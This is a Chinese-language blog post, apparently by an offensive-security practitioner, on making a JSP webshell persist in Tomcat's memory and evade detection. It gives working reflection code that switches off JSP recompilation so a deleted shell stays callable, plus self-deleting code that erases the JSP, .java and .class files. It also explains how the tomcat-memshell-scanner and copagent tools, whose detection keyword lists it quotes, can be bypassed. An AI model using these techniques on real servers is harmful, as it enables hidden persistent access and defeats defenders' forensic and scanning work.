JSP內存馬研究
前言
最近在研究webshell免殺的問題,到了內存馬免殺部分發現傳統的Filter或者Servlet查殺手段比較多,不太容易實現免殺,比如有些工具會將所有注冊的Servlet和Filter拿出來,排查人員仔細一點還是會被查出來的,所以
我們要找一些其他方式實現的內存馬。比如我今天提到的JSP的內存馬(雖然本質上也是一種Servlet類型的馬) 。
JSP加載流程分析
在Tomcat中jsp和jspx都會交給JspServlet處理,所以要想實現JSP駐留內存,首先得分析JspServlet的處理邏輯。
jsp
org.apache.jasper.servlet.JspServlet
...
...
jsp
*.jsp
*.jspx
下面分析JspServlet#service方法,主要的功能是接收請求的URL,判斷是否預編譯,核心的方法是serviceJspFile。
public void service (HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String jspUri = jspFile;
jspUri = (String) request.getAttribute(
RequestDispatcher.INCLUDE_SERVLET_PATH);
if (jspUri != null) {
//檢查請求是否是通過其他Servlet轉發過來的
String pathInfo = (String) request.getAttribute(
RequestDispatcher.INCLUDE_PATH_INFO);
if (pathInfo != null) {
jspUri += pathInfo;
}
} else {
//獲取ServletPath和pathInfo作為jspUri
jspUri = request.getServletPath();
String pathInfo = request.getPathInfo();
if (pathInfo != null) {
jspUri += pathInfo;
}
}
}
try {
//是否預編譯
boolean precompile = preCompile(request);
//核心方法
serviceJspFile(request, response, jspUri, precompile);
} catch (RuntimeException | IOException | ServletException e) {
throw e;
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
throw new ServletException(e);
}
}
preCompile中只有當請求參數以jsp_precompile開始才會進行預編譯,否則不進行預編譯。
boolean preCompile(HttpServletRequest request) throws ServletException {
String queryString = request.getQueryString();
if (queryString == null) {
return false;
}
// public static final String PRECOMPILE = System.getProperty("org.apache.jasper.Constants.PRECOMPILE", "jsp_precompile");
int start = queryString.indexOf(Constants.PRECOMPILE);
if (start < 0) {
return false;
}
queryString =
queryString.substring(start + Constants.PRECOMPILE.length());
if (queryString.length() == 0) {
return true; // ?jsp_precompile
}
if (queryString.startsWith("&")) {
return true; // ?jsp_precompile&foo=bar...
}
if (!queryString.startsWith("=")) {
return false; // part of some other name or value
}
...
}
那么預編譯的作用是什么?當進行預編譯后會怎么樣?答案在JspServletWrapper#service中,當預編譯后,請求便不會調用對應JSP的servlet的service方法進行處理,所以要想讓我們的JSP能正常使用,當然是不要預編譯的,默認情況下也不會預編譯。
public void service(HttpServletRequest request,
HttpServletResponse response,
boolean precompile)
throws ServletException, IOException, FileNotFoundException {
Servlet servlet;
...
// If a page is to be precompiled only, return.
if (precompile) {
return;
...
/*
* (4) Service request
*/
if (servlet instanceof SingleThreadModel) {
// sync on the wrapper so that the freshness
// of the page is determined right before servicing
synchronized (this) {
``.service(request, response);
}
} else {
servlet.service(request, response);
}
...
下面再來看serviceJspFile方法,該方法判斷JSP是否已經被注冊為一個Servlet,不存在則創建JspServletWrapper并put到JspRuntimeContext中,JspServletWrapper.service是核心方法。
private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile)
throws ServletException, IOException {
// 首先判斷JSP是否已經被注冊為一個Servlet,ServletWrapper是Servlet的包裝類,所有注冊的JSP servlet都會被保存在JspRuntimeContext的jsps屬性中,如果我們第一次請求這個JSP,當然是找不到wrapper的。
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
synchronized(this) {
wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
//檢查JSP文件是否存在
if (null == context.getResource(jspUri)) {
handleMissingResource(request, response, jspUri);
return;
}
//創建JspServletWrapper
wrapper = new JspServletWrapper(config, options, jspUri,
rctxt);
//添加wrapper到JspRuntimeContext的jsps屬性中
rctxt.addWrapper(jspUri,wrapper);
}
}
}
try {
//核心方法
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
}
}
JspServletWrapper.service主要做了如下操作。
- 根據jsp生成java文件并編譯為class
- 將class文件注冊為servlet
- 調用
servlet.service方法完成調用
JSP生成java和class文件主要由下面的代碼完成,這里的options.getDevelopment()代表的是部署模式。
tomcat的開發模式和生產模式的設定是通過conf文件夾下面的web.xml文件來配置的。
在開發模式下,容器會經常檢查jsp文件的時間戳來決定是否進行編譯,如果jsp文件的時間戳比對應的.class文件的時間戳晚就證明jsp又進行了修改,需要再次編譯,但是不斷地進行時間戳的比對開銷很大,會影響系統性能,而在生產模式下系統不會經常想的檢查時間戳。所以一般在開發過程中使用開發模式,這樣可以在jsp修改后再次訪問就可以見到修改后的效果非常方便,而系統上線之后就要改為生產模式,雖然生產模式下會導致jsp的修改需要重啟服務器才可以生效,但是上線后的改動較少而且性能很重要。
默認Tomcat是以開發模式運行的。一般我們遇到的Tomcat都是以開發模式運行的,所以會由JspCompilationContext#compile進行編譯。
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
ctxt.compile();
mustCompile = false;
}
}
} else {
if (compileException != null) {
// Throw cached compilation exception
throw compileException;
}
}
下面我們看下編譯部分都做了什么,Tomcat默認使用JDTCompiler編譯,首先通過isOutDated判斷是否需要編譯,再去檢查JSP文件是否存在,刪除原有的java和Class文件,通過jspCompiler.compile()編譯。
public void compile() throws JasperException, FileNotFoundException {
//獲取編譯器,默認使用JDTCompiler編譯
createCompiler();
//通過isOutDated決定是否編譯
if (jspCompiler.isOutDated()) {
if (isRemoved()) {
throw new FileNotFoundException(jspUri);
}
try {
//刪除已經生成的java和Class文件
jspCompiler.removeGeneratedFiles();
jspLoader = null;
//編譯
jspCompiler.compile();
jsw.setReload(true);
jsw.setCompilationException(null);
...
}
下面我們分析如何將生成的class文件注冊為Servlet。首先判斷theServlet是否為空,如果為空則表示還沒有為JSP文件創建過Servlet,則通過InstanceManager.newInstance創建Servlet,并將創建的Servlet保存在theServlet屬性中。
public Servlet getServlet() throws ServletException {
// getReloadInternal是否Reload默認為False,也就是說如果theServlet為true就會直接返回。
if (getReloadInternal() || theServlet == null) {
synchronized (this) {
if (getReloadInternal() || theServlet == null) {
//如果theServlet中有值則銷毀該Servlet.
destroy();
final Servlet servlet;
try {
//創建Servlet實例
InstanceManager instanceManager = InstanceManagerFactory.getInstanceManager(config);
servlet = (Servlet) instanceManager.newInstance(ctxt.getFQCN(), ctxt.getJspLoader());
} catch (Exception e) {
Throwable t = ExceptionUtils
.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(t);
throw new JasperException(t);
}
//初始化servlet
servlet.init(config);
if (theServlet != null) {
ctxt.getRuntimeContext().incrementJspReloadCount();
}
//將servlet保存到theServlet中,theServlet由volatile修飾,在線程之間可以共享。
theServlet = servlet;
reload = false;
}
}
}
return theServlet;
}
下面有一個小知識點,theServlet是由volatile修飾的,在不同的線程之間可以共享,再通過synchronized (this)加鎖,也就是說無論我們請求多少次,無論是哪個線程處理,只要this是一個值,那么theServlet屬性的值是一樣的,而this就是當前的jspServletWrapper,我們訪問不同的JSP也是由不同的jspServletWrapper處理的。
最后就是調用servlet.service方法完成請求處理。
內存駐留分析
上面我們已經分析完了JSP的處理邏輯,要想要完成內存駐留,我們要解決下面的問題。
- 請求后不去檢查JSP文件是否存在
- theServlet中一直保存著我們的servlet,當我們請求對應url還能交給我們的servlet處理
第二個問題比較容易,theServlet能否獲取到Servlet或者獲取到哪個Servlet和jspServletWrapper是有關的,而在JspServlet#serviceJspFile中,如果我們已經將Servlet注冊過,可以根據url從JspRuntimeContext中獲取得到對應的jspServletWrapper。
private void serviceJspFile(HttpServletRequest request,
HttpServletResponse response, String jspUri,
boolean precompile)
throws ServletException, IOException {
JspServletWrapper wrapper = rctxt.getWrapper(jspUri);
if (wrapper == null) {
...
}
try {
wrapper.service(request, response, precompile);
} catch (FileNotFoundException fnfe) {
handleMissingResource(request, response, jspUri);
}
}
繞過方法一
下面解決請求后不去檢查JSP文件是否存在問題,首先我想繞過下面的判斷,如果我們能讓options.getDevelopment()返回false就不會進入complie部分。
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
// The following sets reload to true, if necessary
ctxt.compile();
mustCompile = false;
}
}
}
development并不是一個static屬性,所以不能直接修改,要拿到options的對象。
private boolean development = true;
options對象被存儲在JspServlet中,
public class JspServlet extends HttpServlet implements PeriodicEventListener {
...
private transient Options options;
MappingData中保存了路由匹配的結果,MappingData的wrapper字段包含處理請求的wrapper,在Tomcat中,Wrapper代表一個Servlet,它負責管理一個 Servlet,包括的 Servlet的裝載、初始化、執行以及資源回收。在Wrapper的instance屬性中保存著servlet的實例,因此我們可以從MappingData中拿到JspServlet進而更改options的development屬性值。
public class MappingData {
public Host host = null;
public Context context = null;
public int contextSlashCount = 0;
public Context[] contexts = null;
public Wrapper wrapper = null;
public boolean jspWildCard = false;
}

所以我們可以通過反射對development的屬性修改,下面代碼參考Tomcat容器攻防筆記之JSP金蟬脫殼
<%
//從request對象中獲取request屬性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
//獲取MappingData
MappingData mappingData = req.getMappingData();
//獲取Wrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
//獲取jspServlet對象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
//獲取options中保存的對象
Field Option = jspServlet.getClass().getDeclaredField("options");
Option.setAccessible(true);
EmbeddedServletOptions op = (EmbeddedServletOptions) Option.get(jspServlet);
//設置development屬性為false
Field Developent = op.getClass().getDeclaredField("development");
Developent.setAccessible(true);
Developent.set(op,false);
%>
既然已經分析好了,我們做一個測試, 當我們第二次請求我們的腳本development
的屬性值已經被改為false,即使我們刪除對應的jsp\java\Class文件,仍然還可以還可以正常請求shell。

那么經過修改后會不會導致后來上傳的jsp文件都無法執行的問題呢?
不會,因為每一個JSP文件,只有已經編譯并且注冊為Servlet后,mustCompile屬性才會為False,默認為True,并且mustCompile也是由volatile修飾并且在synchronized加鎖的代碼塊中,只有同一個jspServletWrapper的mustCompile的修改在下次請求時還有效。當然也不是說完全沒有影響,
如果我們想修改一個已經加載為Servlet 的JSP文件,即使修改了也不會生效。
if (options.getDevelopment() || mustCompile) {
synchronized (this) {
if (options.getDevelopment() || mustCompile) {
ctxt.compile();
mustCompile = false;
}
}
繞過方法二
下一個我們有機會繞過的點在compile中,如果我們能讓isOutDated返回false,也可以達到繞過的目的。
public void compile() throws JasperException, FileNotFoundException {
createCompiler();
if (jspCompiler.isOutDated()) {
...
}
}
注意看下面的代碼,在isOutDated中,當滿足下面的條件則會返回false。jsw中保存的是jspServletWarpper對象,所以是不為null的,并且modificationTestInterval默認值是4也滿足條件,所以我們現在要做的就是讓modificationTestInterval*1000大于System.currentTimeMillis(),所以
只要將modificationTestInterval 修改為一個比較大的值也可以達到繞過的目的。
public boolean isOutDated(boolean checkClass) {
if (jsw != null
&& (ctxt.getOptions().getModificationTestInterval() > 0)) {
if (jsw.getLastModificationTest()
+ (ctxt.getOptions().getModificationTestInterval() * 1000) > System.currentTimeMillis()) {
return false;
}
}
modificationTestInterval也保存在options屬性中,所以修改的方法和方法一類似,就不羅列代碼了。
public final class EmbeddedServletOptions implements Options {
...
private int modificationTestInterval = 4;
...
}
查殺情況分析
tomcat-memshell-scanner
這款工具會Dump出所有保存在servletMappings中的Servlet的信息,不過我們的JSPServlet并沒有保存在servletMappings中,而是在JspRuntimeContext#jsps字段中,因此根本查不到。


copagent
JSP本質上也就是Servlet,編譯好的Class繼承了HttpJspBase,類圖如下所示。

copagent流程分析
copagent首先獲取所有已經加載的類,并創建了幾個數組。
riskSuperClassesName中保存了HttpServlet,用于獲取Servlet,因為我們注冊的Servlet會直接或者間接繼承HttpServletriskPackage保存了一些惡意的包名,比如冰蝎的包名為net.rebeyond,使用冰蝎連接webshell時會將自己的惡意類加載到內存,而這個惡意類也是以net.rebeyond為包名的riskAnnotations保存了SpringMVC中注解注冊Controller的類型,顯然是為了抓出所有SpringMVC中通過注解注冊的Controller
private static synchronized void catchThief(String name, Instrumentation ins){
...
List<Class> resultClasses = new ArrayList<Class>();
// 獲得所有已加載的類及類名
Class[] loadedClasses = ins.getAllLoadedClasses();
LogUtils.logit("Found All Loaded Classes : " + loadedClasses.length);
List<String> loadedClassesNames = new ArrayList<String>();
for(Class cls: loadedClasses){
loadedClassesNames.add(cls.getName());
}
...
// 實現的可能具有 web shell 功能的父類名
List<String> riskSuperClassesName = new ArrayList<String>();
riskSuperClassesName.add("javax.servlet.http.HttpServlet");
// 黑名單攔截
List<String> riskPackage = new ArrayList<String>();
riskPackage.add("net.rebeyond.");
riskPackage.add("com.metasploit.");
// 風險注解
List<String> riskAnnotations = new ArrayList<String>();
riskAnnotations.add("org.springframework.stereotype.Controller");
riskAnnotations.add("org.springframework.web.bind.annotation.RestController"); riskAnnotations.add("org.springframework.web.bind.annotation.RequestMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.GetMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PostMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PatchMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.PutMapping");
riskAnnotations.add("org.springframework.web.bind.annotation.Mapping");
...
下面代碼完成主要的檢測邏輯,首先會檢測包名和SpringMVC注解的類,檢測到則添加到resultClasses中,并且修改not_found標志位為False,表示不檢測Servelt/Filter/Listener類型的shell。
for(Class clazz: loadedClasses){
Class target = clazz;
boolean not_found = true;
//檢測包名是否為惡意包名,如果是則設置not_found為false,代表已經被shell連接過了,跳過后面Servlet和Filter內存馬部分的檢測并Dump出惡意類的信息。
for(String packageName: riskPackage){
if(clazz.getName().startsWith(packageName)){
resultClasses.add(clazz);
not_found = false;
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
break;
}
}
//判斷是否使用SpringMVC的注解注冊Controller,如果是則Dump出使用注解的Controller的類的信息
if(ClassUtils.isUseAnnotations(clazz, riskAnnotations)){
resultClasses.add(clazz);
not_found = false;
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(target.getClassLoader().hashCode()));
}
//檢測Servelt/Filter/Listener類型Webshell
if(not_found){
// 遞歸查找
while (target != null && !target.getName().equals("java.lang.Object")){
// 每次都重新獲得目標類實現的所有接口
interfaces = new ArrayList<String>();
for(Class cls: target.getInterfaces()){
interfaces.add(cls.getName());
}
if( // 繼承危險父類的目標類
(target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
// 實現特殊接口的目標類
target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||
interfaces.contains("javax.servlet.Filter") ||
interfaces.contains("javax.servlet.Servlet") ||
interfaces.contains("javax.servlet.ServletRequestListener")
)
{
...
if(loadedClassesNames.contains(clazz.getName())){
resultClasses.add(clazz);
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
}else{
...
}
break;
}
target = target.getSuperclass();
}
}
我們主要關注Servlet的檢測,首先獲取當前Class的實現接口,如果Class的父類不為空并且父類不是HttpServlet,并且沒有實現Serlvet\Filter\ServletRequestListener等接口則不會被添加到resultClasses但會遞歸的去檢查父類。由于JSP文件實際繼承了HttpJspBase,相當于間接繼承了HttpServlet,所以是繞不過這里的檢查的,不過沒關系,這一步只是檢查是否是Servlet,并不代表被檢測出來了。
while (target != null && !target.getName().equals("java.lang.Object")){
// 每次都重新獲得目標類實現的所有接口
interfaces = new ArrayList<String>();
for(Class cls: target.getInterfaces()){
interfaces.add(cls.getName());
}
if( // 繼承危險父類的目標類
(target.getSuperclass() != null && riskSuperClassesName.contains(target.getSuperclass().getName())) ||
// 實現特殊接口的目標類
target.getName().equals("org.springframework.web.servlet.handler.AbstractHandlerMapping") ||interfaces.contains("javax.servlet.Filter") ||interfaces.contains("javax.servlet.Servlet") ||interfaces.contains("javax.servlet.ServletRequestListener")
)
{
if(loadedClassesNames.contains(clazz.getName())){
resultClasses.add(clazz);
ClassUtils.dumpClass(ins, clazz.getName(), false, Integer.toHexString(clazz.getClassLoader().hashCode()));
}else{
LogUtils.logit("cannot find " + clazz.getName() + " classes in instrumentation");
}
break;
...
}
target = target.getSuperclass();
}
下面是判斷是否為惡意內容的核心,只有當resultClasses中包含了關鍵下面的關鍵字才會被標記為high,這里如果我們使用自定義馬的話也是可以繞過的,但是如果要使用冰蝎,一定會被javax.crypto.加密包的規則檢測到,如果是自定義加密算法也是可以繞過的。
List<String> riskKeyword = new ArrayList<String>();
riskKeyword.add("javax.crypto.");
riskKeyword.add("ProcessBuilder");
riskKeyword.add("getRuntime");
riskKeyword.add("shell");
...
for(Class clazz: resultClasses){
File dumpPath = PathUtils.getStorePath(clazz, false);
String level = "normal";
String content = PathUtils.getFileContent(dumpPath);
for(String keyword: riskKeyword){
if(content.contains(keyword)){
level = "high";
break;
}
}
自刪除
上面只是分析了如何讓我們的JSP在刪除了JSP\java\Class文件后還能訪問,下面我們分析如何在JSP中實現刪除JSP\java\Class文件,在JspCompilationContext保存著JSP編譯的上下文信息,我們可以從中拿到java/class的絕對路徑。

而JspCompilationContext對象保存在JspServletWrapper中,所以要先獲取JspServletWrapper。
public JspServletWrapper(ServletConfig config, Options options,
String jspUri, JspRuntimeContext rctxt) {
...
ctxt = new JspCompilationContext(jspUri, options,
config.getServletContext(),
this, rctxt);
}
request.request.getMappingData().wrapper.instance.rctxt.jsps.get("/jsp.jsp")

下面是代碼實現
<%
//從request對象中獲取request屬性
Field requestF = request.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request req = (Request) requestF.get(request);
//獲取MappingData
MappingData mappingData = req.getMappingData();
//獲取Wrapper,這里的Wrapper是StandrardWrapper
Field wrapperF = mappingData.getClass().getDeclaredField("wrapper");
wrapperF.setAccessible(true);
Wrapper wrapper = (Wrapper) wrapperF.get(mappingData);
//獲取jspServlet對象
Field instanceF = wrapper.getClass().getDeclaredField("instance");
instanceF.setAccessible(true);
Servlet jspServlet = (Servlet) instanceF.get(wrapper);
//獲取rctxt屬性
Field rctxt = jspServlet.getClass().getDeclaredField("rctxt");
rctxt.setAccessible(true);
JspRuntimeContext jspRuntimeContext = (JspRuntimeContext) rctxt.get(jspServlet);
//獲取jsps屬性內容
Field jspsF = jspRuntimeContext.getClass().getDeclaredField("jsps");
jspsF.setAccessible(true);
ConcurrentHashMap jsps = (ConcurrentHashMap) jspsF.get(jspRuntimeContext);
//獲取對應的JspServletWrapper
JspServletWrapper jsw = (JspServletWrapper)jsps.get(request.getServletPath());
//獲取ctxt屬性保存的JspCompilationContext對象
Field ctxt = jsw.getClass().getDeclaredField("ctxt");
ctxt.setAccessible(true);
JspCompilationContext jspCompContext = (JspCompilationContext) ctxt.get(jsw);
File targetFile;
targetFile = new File(jspCompContext.getClassFileName());//刪掉jsp的.class
targetFile.delete();
targetFile = new File(jspCompContext.getServletJavaFileName());//刪掉jsp的java文件
targetFile.delete();
//刪除JSP文件
String __jspName = this.getClass().getSimpleName().replaceAll("_", ".");
String path=application.getRealPath(__jspName);
File file = new File(path);
file.delete();
%>
最后有個不兼容的小BUG,tomcat7和8/9的MappingData類包名發生了變化
tomcat7:<%@ page import="org.apache.tomcat.util.http.mapper.MappingData" %> tomcat8/9:<%@ page import="org.apache.catalina.mapper.MappingData" %>
總結
雖然不能使用冰蝎等webshell繞過這兩款工具的檢測,但是當我們了解了查殺原理,將自己的webshell稍微改一下,也是可以繞過的,最后這篇文章來自于參考Tomcat容器攻防筆記之JSP金蟬脫殼文章的實踐,感謝前輩。